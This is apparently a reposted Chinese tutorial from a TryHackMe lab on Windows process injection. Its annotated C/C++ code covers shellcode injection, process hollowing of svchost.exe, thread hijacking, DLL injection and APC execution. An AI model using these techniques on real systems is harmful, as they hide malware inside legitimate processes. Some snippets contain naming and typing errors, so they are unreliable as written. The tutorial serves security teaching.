完整教程:tryhackme——Abusing Windows Internals(进程注入)

news/2025/10/6 21:22:50/文章来源:https://www.cnblogs.com/lxjshuju/p/19127949

一、Abusing Processes

操作系统上运行的应用程序可以包含一个或多个进程,进程表示正在执行的程序。进程包含许多其他子组件,并且直接与内存或虚拟内存交互,下表描述了进程的每个关键组件及其用途。

Process ComponentPurpose
私有虚拟地址空间进程分配的虚拟内存地址
可执行程序存储在虚拟地址空间中的代码和数据
打开句柄(open handle)定义进程可访问的系统资源句柄
安全上下文访问令牌定义用户、安全组、权限和其他安全信息
进程 ID进程的唯一数字标识符
线程进程中计划执行的部分

进程注入指通过合法功能或组件将恶意代码注入进程。下面将重点介绍以下四种不同类型的进程注入。

进程注入类型功能
Process Hollowing(进程镂空创建一个目标进程(通常是合法进程,如svchost.exe)并将其主模块(如exe映像)从内存中“挖空”(替换为恶意代码)。
Thread Execution Hijacking(线程执行劫持)挂起目标进程的某个线程,修改其上下文(如指令指针EIP/RIP)指向注入的恶意代码,恢复线程后执行恶意逻辑。
Dynamic-link Library Injection(DLL注入)将恶意DLL加载到目标进程内存中,并通过远程线程(如LoadLibrary调用)或修改导入表使其执行。
Portable Executable Injection(PE注入)将恶意可执行文件(PE)的映像直接写入目标进程内存,并手动执行(无需通过LoadLibrary)。

进程注入采用Shellcode注入的形式,可以分为四个步骤:

上述步骤也可以图形化地分解,以描述Windows API调用如何与进程内存交互。
在这里插入图片描述

实现一个基本shellcode注入器的基本步骤如下:

1、通过OpenProcess获取目标进程的句柄(handle);

processHandle = OpenProcess(
PROCESS_ALL_ACCESS, // Defines access rights
FALSE, // Target handle will not be inhereted
DWORD(atoi(argv[1]
)
) // Local process supplied by command-line arguments 
)
;

2、使用VirtualAllocEx在目标进程中分配内存 ;

remoteBuffer = VirtualAllocEx(
processHandle, // Opened target process
NULL
,
sizeof shellcode, // Region size of memory allocation
(MEM_RESERVE | MEM_COMMIT)
, // Reserves and commits pages
PAGE_EXECUTE_READWRITE // Enables execution and read/write access to the commited pages
)
;

3、使用WriteProcessMemory在目标内存中写入Shellcode;

WriteProcessMemory(
processHandle, // Opened target process
remoteBuffer, // Allocated memory region
shellcode, // Data to write
sizeof shellcode, // byte size of data
NULL
)
;

4、使用CreateRemoteThread执行Shellcode;

remoteThread = CreateRemoteThread(
processHandle, // Opened target process
NULL
,
0
, // Default size of the stack
(LPTHREAD_START_ROUTINE)remoteBuffer, // Pointer to the starting address of the thread
NULL
,
0
, // Ran immediately after creation
NULL
)
;

二、进程镂空

Process Hollowing是进程注入的一种方法,能够将整个恶意文件注入进程,具体则是hollowing或取消进程映射,并将特定的 PE(可移植可执行文件)数据和段注入进程。其大致可分为六个步骤:

  1. 创建一个处于挂起状态的目标进程;
  2. 打开恶意映像;
  3. 从进程内存中取消合法代码的映射;
  4. 为恶意代码分配内存位置,并将每个段写入地址空间;
  5. 设置恶意代码的入口点;
  6. 使目标进程退出挂起状态。

该过程可用下图表示:
在这里插入图片描述
实现Process Hollowing的基本步骤如下:

1、启动一个合法进程(如svchost.exe),但主线程处于挂起状态,此时进程内存已初始化但未执行代码。

LPSTARTUPINFOA target_si = new STARTUPINFOA(
)
;
// Defines station, desktop, handles, and appearance of a process
LPPROCESS_INFORMATION target_pi = new PROCESS_INFORMATION(
)
;
// Information about the process and primary thread
CONTEXT c;
// Context structure pointer
if (CreateProcessA(
(LPSTR)"C:\\\\Windows\\\\System32\\\\svchost.exe"
, // Name of module to execute
NULL
,
NULL
,
NULL
,
TRUE, // Handles are inherited from the calling process
CREATE_SUSPENDED, // New process is suspended
NULL
,
NULL
,
target_si, // pointer to startup info
target_pi) == 0
) {
// pointer to process information
cout <<
"[!] Failed to create Target process. Last Error: " <<
GetLastError(
)
;
return 1
;

2、使用CreateFileA获取恶意映像的句柄。

HANDLE hMaliciousCode = CreateFileA(
(LPCSTR)"C:\\\\Users\\\\tryhackme\\\\malware.exe"
, // Name of image to obtain
GENERIC_READ, // Read-only access
FILE_SHARE_READ, // Read-only share mode
NULL
,
OPEN_EXISTING, // Instructed to open a file or device if it exists
NULL
,
NULL
)
;

3、一旦获取到恶意映像的句柄,就必须使用VirtualAlloc为恶意文件分配本地内存,GetFileSize函数也用于检索恶意映像所需内存大小。

DWORD maliciousFileSize = GetFileSize(
hMaliciousCode, // Handle of malicious image
0 // Returns no error
)
;
PVOID pMaliciousImage = VirtualAlloc(
NULL
,
maliciousFileSize, // File size of malicious image
0x3000
, // Reserves and commits pages (MEM_RESERVE | MEM_COMMIT)
0x04 // Enables read/write access (PAGE_READWRITE)
)
;

4、写入恶意文件

DWORD numberOfBytesRead;
// Stores number of bytes read
if (!ReadFile(
hMaliciousCode, // Handle of malicious image
pMaliciousImage, // Allocated region of memory
maliciousFileSize, // File size of malicious image
&numberOfBytesRead, // Number of bytes read
NULL
)
) {
cout <<
"[!] Unable to read Malicious file into memory. Error: " <<
GetLastError(
)<< endl;
TerminateProcess(target_pi->hProcess, 0
)
;
return 1
;
}
CloseHandle(hMaliciousCode)
;

5、通过线程上下文获取PEB地址,进而读取原始EXE的基址。

CPU 寄存器 EAX(入口点)和 EBX(PEB 位置)包含我们需要获取的信息;这些信息可以通过使用GetThreadContext找到。找到这两个寄存器后,使用ReadProcessMemory从 EBX 获取基址,并通过检查 PEB 获得偏移量 (0x8)。

c.ContextFlags = CONTEXT_INTEGER;
// Only stores CPU registers in the pointer
GetThreadContext(
target_pi->hThread, // Handle to the thread obtained from the PROCESS_INFORMATION structure
&c // Pointer to store retrieved context
)
;
// Obtains the current thread context
PVOID pTargetImageBaseAddress;
ReadProcessMemory(
target_pi->hProcess, // Handle for the process obtained from the PROCESS_INFORMATION structure
(PVOID)(c.Ebx + 8
)
, // Pointer to the base address
&pTargetImageBaseAddress, // Store target base address 
sizeof(PVOID)
, // Bytes to read 
0 // Number of bytes out
)
;

6、清空目标进程的原始代码/数据,形成“空洞”。可以使用从ntdll.dll导入的ZwUnmapViewOfSection来释放目标进程的内存

HMODULE hNtdllBase = GetModuleHandleA("ntdll.dll"
)
;
// Obtains the handle for ntdll
pfnZwUnmapViewOfSection pZwUnmapViewOfSection = (pfnZwUnmapViewOfSection)GetProcAddress(
hNtdllBase, // Handle of ntdll
"ZwUnmapViewOfSection" // API call to obtain
)
;
// Obtains ZwUnmapViewOfSection from ntdll
DWORD dwResult = pZwUnmapViewOfSection(
target_pi->hProcess, // Handle of the process obtained from the PROCESS_INFORMATION structure
pTargetImageBaseAddress // Base address of the process
)
;

7、在Hollowed进程中为恶意进程分配内存。

PIMAGE_DOS_HEADER pDOSHeader = (PIMAGE_DOS_HEADER)pMaliciousImage;
// Obtains the DOS header from the malicious image
PIMAGE_NT_HEADERS pNTHeaders = (PIMAGE_NT_HEADERS)((LPBYTE)pMaliciousImage + pDOSHeader->e_lfanew)
;
// Obtains the NT header from e_lfanew
DWORD sizeOfMaliciousImage = pNTHeaders->OptionalHeader.SizeOfImage;
// Obtains the size of the optional header from the NT header structure
PVOID pHollowAddress = VirtualAllocEx(
target_pi->hProcess, // Handle of the process obtained from the PROCESS_INFORMATION structure
pTargetImageBaseAddress, // Base address of the process
sizeOfMaliciousImage, // Byte size obtained from optional header
0x3000
, // Reserves and commits pages (MEM_RESERVE | MEM_COMMIT)
0x40 // Enabled execute and read/write access (PAGE_EXECUTE_READWRITE)
)
;

8、一旦分配了内存,将恶意PE头写入内存;

if (!WriteProcessMemory(
target_pi->hProcess, // Handle of the process obtained from the PROCESS_INFORMATION structure
pTargetImageBaseAddress, // Base address of the process
pMaliciousImage, // Local memory where the malicious file resides
pNTHeaders->OptionalHeader.SizeOfHeaders, // Byte size of PE headers 
NULL
)
) {
cout<<
"[!] Writting Headers failed. Error: " <<
GetLastError(
) << endl;
}

9、写入恶意进程的各节区;

for (
int i = 0
; i < pNTHeaders->FileHeader.NumberOfSections; i++) {// Loop based on number of sections in PE dataPIMAGE_SECTION_HEADER pSectionHeader = (PIMAGE_SECTION_HEADER)((LPBYTE)pMaliciousImage + pDOSHeader->e_lfanew +sizeof(IMAGE_NT_HEADERS) + (i *sizeof(IMAGE_SECTION_HEADER)));// Determines the current PE section headerWriteProcessMemory(target_pi->hProcess, // Handle of the process obtained from the PROCESS_INFORMATION structure(PVOID)((LPBYTE)pHollowAddress + pSectionHeader->VirtualAddress), // Base address of current section (PVOID)((LPBYTE)pMaliciousImage + pSectionHeader->PointerToRawData), // Pointer for content of current sectionpSectionHeader->SizeOfRawData, // Byte size of current sectionNULL);}

10、使用SetThreadContext将EAX更改为指向恶意入口点;

c.Eax = (SIZE_T)((LPBYTE)pHollowAddress + pNTHeaders->OptionalHeader.AddressOfEntryPoint)
;
// Set the context structure pointer to the entry point from the PE optional header
SetThreadContext(
target_pi->hThread, // Handle to the thread obtained from the PROCESS_INFORMATION structure
&c // Pointer to the stored context structure
)
;

11、使用ResumeThread将进程从挂起状态中唤醒。

ResumeThread(
target_pi->hThread // Handle to the thread obtained from the PROCESS_INFORMATION structure
)
;

三、线程劫持

线程劫持可分为10个步骤:

  1. 定位并打开要控制的目标进程。
  2. 为恶意代码分配内存区域。
  3. 将恶意代码写入分配的内存。
  4. 识别要劫持的目标线程的线程 ID。
  5. 打开目标线程。
  6. 暂停目标线程。
  7. 获取线程上下文。
  8. 将指令指针更新为恶意代码。
  9. 重写目标线程上下文。
  10. 恢复被劫持的线程。

1、前三个步骤与常规进程注入步骤相同,可参考一下代码:

// 打开目标进程
HANDLE hProcess = OpenProcess(
PROCESS_ALL_ACCESS, // Requests all possible access rights
FALSE, // Child processes do not inheret parent process handle
processId // Stored process ID
)
;
// 为恶意代码分配内存区域
PVOIF remoteBuffer = VirtualAllocEx(
hProcess, // Opened target process
NULL
,
sizeof shellcode, // Region size of memory allocation
(MEM_RESERVE | MEM_COMMIT)
, // Reserves and commits pages
PAGE_EXECUTE_READWRITE // Enables execution and read/write access to the commited pages
)
;
// 将恶意代码写入分配的内存
WriteProcessMemory(
processHandle, // Opened target process
remoteBuffer, // Allocated memory region
shellcode, // Data to write
sizeof shellcode, // byte size of data
NULL
)
;

2、通过识别线程ID来开始劫持进程线程。为了识别线程ID,我们需要使用三个Windows API调用:CreateToolhelp32Snapshot()Thread32First()Thread32Next()

THREADENTRY32 threadEntry;
HANDLE hSnapshot = CreateToolhelp32Snapshot( // Snapshot the specificed process
TH32CS_SNAPTHREAD, // Include all processes residing on the system
0 // Indicates the current process
)
;
Thread32First( // Obtains the first thread in the snapshot
hSnapshot, // Handle of the snapshot
&threadEntry // Pointer to the THREADENTRY32 structure
)
;
while (Thread32Next( // Obtains the next thread in the snapshot
snapshot, // Handle of the snapshot
&threadEntry // Pointer to the THREADENTRY32 structure
)
) {

3、打开目标线程

if (threadEntry.th32OwnerProcessID == processID) // Verifies both parent process ID's match
{
HANDLE hThread = OpenThread(
THREAD_ALL_ACCESS, // Requests all possible access rights
FALSE, // Child threads do not inheret parent thread handle
threadEntry.th32ThreadID // Reads the thread ID from the THREADENTRY32 structure pointer
)
;
break
;
}

4、使用SuspendThread挂起目标线程

SuspendThread(hThread)
;

5、获取线程上下文;

CONTEXT context;
GetThreadContext(
hThread, // Handle for the thread 
&context // Pointer to store the context structure
)
;

6、劫持目标线程执行流。线程恢复执行时,CPU将从Rip指向的地址(即Shellcode)开始执行,而非原代码逻辑。

context.Rip = (DWORD_PTR)remoteBuffer;
// Points RIP to our malicious buffer allocation

7、更新目标线程上下文;

SetThreadContext(
hThread, // Handle for the thread 
&context // Pointer to the context structure
)
;

8、重启线程;

ResumeThread(
hThread // Handle for the thread
)
;

四、DLL注入

DLL注入总体可分为5个步骤:

  1. 找到要注入的目标进程。
  2. 打开目标进程。
  3. 为恶意 DLL 分配内存区域。
  4. 将恶意 DLL 写入分配的内存。
  5. 加载并执行恶意 DLL。

1、在 DLL 注入的第一步中,我们必须定位目标进程。可以使用如下三个Windows API函数:CreateToolhelp32Snapshot()Process32First()Process32Next()

DWORD getProcessId(
const
char *processName) {
HANDLE hSnapshot = CreateToolhelp32Snapshot( // Snapshot the specificed process
TH32CS_SNAPPROCESS, // Include all processes residing on the system
0 // Indicates the current process
)
;
if (hSnapshot) {
PROCESSENTRY32 entry;
// Adds a pointer to the PROCESSENTRY32 structure
entry.dwSize =
sizeof(PROCESSENTRY32)
;
// Obtains the byte size of the structure
if (Process32First( // Obtains the first process in the snapshot
hSnapshot, // Handle of the snapshot
&entry // Pointer to the PROCESSENTRY32 structure
)
) {
do {
if (!strcmp( // Compares two strings to determine if the process name matches
entry.szExeFile, // Executable file name of the current process from PROCESSENTRY32
processName // Supplied process name
)
) {
return entry.th32ProcessID;
// Process ID of matched process
}
}
while (Process32Next( // Obtains the next process in the snapshot
hSnapshot, // Handle of the snapshot
&entry
)
)
;
// Pointer to the PROCESSENTRY32 structure
}
}
DWORD processId = getProcessId(processName)
;
// Stores the enumerated process ID

2、使用GetModuleHandle、GetProcAddress或OpenProcess打开该进程。

HANDLE hProcess = OpenProcess(
PROCESS_ALL_ACCESS, // Requests all possible access rights
FALSE, // Child processes do not inheret parent process handle
processId // Stored process ID
)
;

3、使用VirtualAllocEx为恶意 DLL 分配内存。

LPVOID dllAllocatedMemory = VirtualAllocEx(
hProcess, // Handle for the target process
NULL
,
strlen(dllLibFullPath)
, // Size of the DLL path
MEM_RESERVE | MEM_COMMIT, // Reserves and commits pages
PAGE_EXECUTE_READWRITE // Enables execution and read/write access to the commited pages
)
;

4、使用WriteProcessMemory将恶意DLL写入分配的内存位置。

WriteProcessMemory(
hProcess, // Handle for the target process
dllAllocatedMemory, // Allocated memory region
dllLibFullPath, // Path to the malicious DLL
strlen(dllLibFullPath) + 1
, // Byte size of the malicious DLL
NULL
)
;

5、恶意 DLL 被写入内存后,加载并执行它。要加载该 DLL,我们需要使用从kernel32导入的LoadLibrary函数。加载完成后,可以使用CreateRemoteThread函数,以LoadLibrary作为启动函数来执行内存。

LPVOID loadLibrary = (LPVOID) GetProcAddress(
GetModuleHandle("kernel32.dll"
)
, // Handle of the module containing the call
"LoadLibraryA" // API call to import
)
;
HANDLE remoteThreadHandler = CreateRemoteThread(
hProcess, // Handle for the target process
NULL
,
0
, // Default size from the execuatable of the stack
(LPTHREAD_START_ROUTINE) loadLibrary, pointer to the starting function
dllAllocatedMemory, // pointer to the allocated memory region
0
, // Runs immediately after creation
NULL
)
;

五、Memory Execution Alternatives

shellcode执行技术:

1、调用函数指针(Invoking Function Pointers
void 函数指针是一种非常新颖的内存块执行方法,它完全依赖于类型转换。这种技术只能在本地分配的内存中执行,但不依赖于任何API 调用或其他系统功能。

下面的单行代码是 void 函数指针最常见的形式,但我们可以进一步分解它来解释它的组成部分。
在这里插入图片描述

2、异步过程调用(Asynchronous Procedure Calls

异步过程调用 (APC) 是在特定线程上下文中异步执行的函数。APC函数通过 QueueUserAPC排队到线程。排队后,APC函数将触发软件中断,并在下次线程调度时执行该函数。

为了让用户态/用户模式应用程序将APC函数排队,线程必须处于“可警告状态”。可警告状态要求线程等待回调函数,例如WaitForSingleObjectSleep

现在我们了解了什么是 APC 函数,接下来看看它们是如何被恶意利用的!我们将使用VirtualAllocExWriteProcessMemory来分配和写入内存。

QueueUserAPC(
(PAPCFUNC)addressPointer, // APC function pointer to allocated memory defined by winnt
pinfo.hThread, // Handle to thread from PROCESS_INFORMATION structure
(ULONG_PTR)NULL
)
;
ResumeThread(
pinfo.hThread // Handle to thread from PROCESS_INFORMATION structure
)
;
WaitForSingleObject(
pinfo.hThread, // Handle to thread from PROCESS_INFORMATION structure
INFINITE // Wait infinitely until alerted
)
;

3、PE节区操纵(Section Manipulation

核心思想:利用PE文件的节区(如.text、.data)存储恶意代码,通过修改入口点或节区属性实现执行

PE格式定义了 Windows 中可执行文件的结构和格式。为了执行,我们主要关注节,特别是 .data 和 .text 节,此外,表和指向节的指针也常用于执行数据。

要开始使用任何节操作技术,我们需要获取 PE 转储。获取 PE 转储通常是通过将 DLL 或其他恶意文件输入到 xxd 中来实现的。每种方法的核心都是使用数学运算来遍历物理十六进制数据,并将其转换为 PE 数据。一些较为常见的技术包括 RVA 入口点解析、节映射和重定位表解析。

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.mzph.cn/news/929721.shtml

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈email:809451989@qq.com,一经查实,立即删除!

相关文章

向量存储vs知识图谱:LLM记忆系统技术选型

LLM本质上是无状态的,如果你了解HTTP协议就很好理解这个概念,但是如果你没接触过这,那么可以理解成它们没有短期记忆能力,每次和LLM交互,都得把之前的对话重新喂给它。 短期记忆或者说状态管理其实很好处理,拿几…

QBXT2025S刷题 Day5

今天更废了。 \(30pts\ rk84\)。 今天的题 T1 机房大部分人都做出来了,可是我只是打了个暴力(还没拿分)。 这道题其实可以把 \((b_1,b_2,b_3,b_4)\) 分为 \((b_1,b_2),(b_3,b_4)\) 两个部分。 这样的话,我们就可以…

做视频网站需要什么软件物流如何做网站

&#x1f308;个人主页&#xff1a;聆风吟 &#x1f525;系列专栏&#xff1a;图解数据结构、算法模板 &#x1f516;少年有梦不应止于心动&#xff0c;更要付诸行动。 文章目录 一. ⛳️算法的定义二. ⛳️算法的特性2.1 &#x1f514;输入输出2.2 &#x1f514;输入输出2.3 &…

以人类演示视频为提示,学习可泛化的机器人策略 - 指南

pre { white-space: pre !important; word-wrap: normal !important; overflow-x: auto !important; display: block !important; font-family: "Consolas", "Monaco", "Courier New", …

card

#include <bits/stdc++.h> using namespace std; #define P pair<char, char> #define mp(x, y) make_pair(x, y)vector< P > oper_list; const int len = 4; const int wide = 4; const int _size …

济宁企业网站建设wordpress页面发布不

打开题目 几次尝试&#xff0c;发现输1 1"&#xff0c;页面都会回显NO,Wrong username password&#xff01;&#xff01;&#xff01; 只有输入1&#xff0c;页面报错&#xff0c;说明是单引号的字符型注入 那我们万能密码试试能不能登录 1 or 11 # 成功登录 得到账号…

网站的建设及维护报告闵行做网站公司铝棒易站公司

目录 1.什么是互联网 2.互联网的发展历史 3.中国互联网的发展历程 4.互联网对人们生活的影响 5.互联网给人类带来了哪些负面影响 1.什么是互联网 互联网&#xff08;Internet&#xff09;是一个全球性的计算机网络系统&#xff0c;它连接了数十亿台计算机和其他设备。它是由…

Ai元人文系列:领域协同深耕:构建人机价值共生的文明实践框架

Ai元人文系列:领域协同深耕:构建人机价值共生的文明实践框架 引言:从割裂到共生的文明演进 我们正站在一个历史性的十字路口。数字技术的浪潮以前所未有的力量重塑着人类社会的基本结构,而人工智能的出现更是将这场…

如何监测光伏系统中的电能质量挑战?分布式光伏电能质量解决方案

如何监测光伏系统中的电能质量挑战?分布式光伏电能质量解决方案pre { white-space: pre !important; word-wrap: normal !important; overflow-x: auto !important; display: block !important; font-family: "C…

NFL统一数据生态系统技术架构解析

本文深入解析NFL如何通过统一数据生态系统提升运营效率,涵盖数据治理、数据工程、数据解决方案等五大技术支柱,实现从球员安全到球迷互动的全方位数据驱动决策。NFL统一数据生态系统:从球员安全到球迷互动 NFL正在通…

网站开发和运营维护兰州广告设计制作公司

文章目录一、基础准备1. 技术选型2. 源码克隆3. 安装依赖4. 将 RuoYi-Cloud 项目导入到 IDEA5. 安装启动Mysql6. 安装启动Redis7. 创建数据库&#xff0c;执行 SQL脚本文件二、安装与配置 nacos2.1. 下载nacos2.2. 安装 nacos2.3. nacos持久化配置2.4. 执行脚本文件2.5. nacos连…

大型网站后台登录地址一般是如何设置的虚拟主机购买网站

字典是具有指定数字或键的特定数据集或组。在 Python 以外的编程语言中&#xff0c;它们也被称为哈希映射或关联数组。 一般来说&#xff0c;它是键值对的形式&#xff0c;就像现实世界的字典一样。 要创建字典&#xff0c;请从左括号开始&#xff0c;添加键并键入一个冒号。…

网站制作老了株洲网站建设 公司

★★★★★★★★★★★★★★★★★★★★★★★★★★★★★★★★★★★★★★★★➤微信公众号&#xff1a;山青咏芝&#xff08;shanqingyongzhi&#xff09;➤博客园地址&#xff1a;山青咏芝&#xff08;https://www.cnblogs.com/strengthen/&#xff09;➤GitHub地址&a…

专业网站开发软件做一个网站的总结

responseBody注解的作用是将controller的方法返回的对象通过适当的转换器转换为指定的格式之后&#xff0c;写入到response对象的body区&#xff0c;通常用来返回JSON数据或者是XML数据&#xff0c;需要注意的呢&#xff0c;在使用此注解之后不会再走视图处理器&#xff0c;而是…

爱站网长尾词挖掘工具建站网址导航hao123

&#x1f4a2;欢迎来到张胤尘的开源技术站 &#x1f4a5;开源如江河&#xff0c;汇聚众志成。代码似星辰&#xff0c;照亮行征程。开源精神长&#xff0c;传承永不忘。携手共前行&#xff0c;未来更辉煌&#x1f4a5; 文章目录 通道通道声明初始化缓冲机制无缓冲通道代码示例 带…

建构网站婚礼网站有哪些

9月16日消息&#xff0c;锦欣生殖近日宣布已完成新一轮的战略投资&#xff0c;本轮融资由原战略股东华平投资及新引入的中信银行旗下信银投资领投&#xff0c;红杉资本中国基金、药明康德等跟投。完成本轮融资后&#xff0c;华平投资及信银投资分别成为锦欣生殖的第二及第三大股…

深入解析:【C++项目】负载均衡在线OJ系统-1

pre { white-space: pre !important; word-wrap: normal !important; overflow-x: auto !important; display: block !important; font-family: "Consolas", "Monaco", "Courier New", …

网站制作中文版wordpress放广告

戳蓝字“CSDN云计算”关注我们哦&#xff01;作者 | 成全责编 | 阿秃转自 | 美团技术团队企业博客前言mpvue是一款使用Vue.js开发微信小程序的前端框架。使用此框架&#xff0c;开发者将得到完整的 Vue.js 开发体验&#xff0c;同时为H5和小程序提供了代码复用的能力。如果想将…

实用指南:SCDN如何同时保障网站加速与DDoS防御?

实用指南:SCDN如何同时保障网站加速与DDoS防御?pre { white-space: pre !important; word-wrap: normal !important; overflow-x: auto !important; display: block !important; font-family: "Consolas",…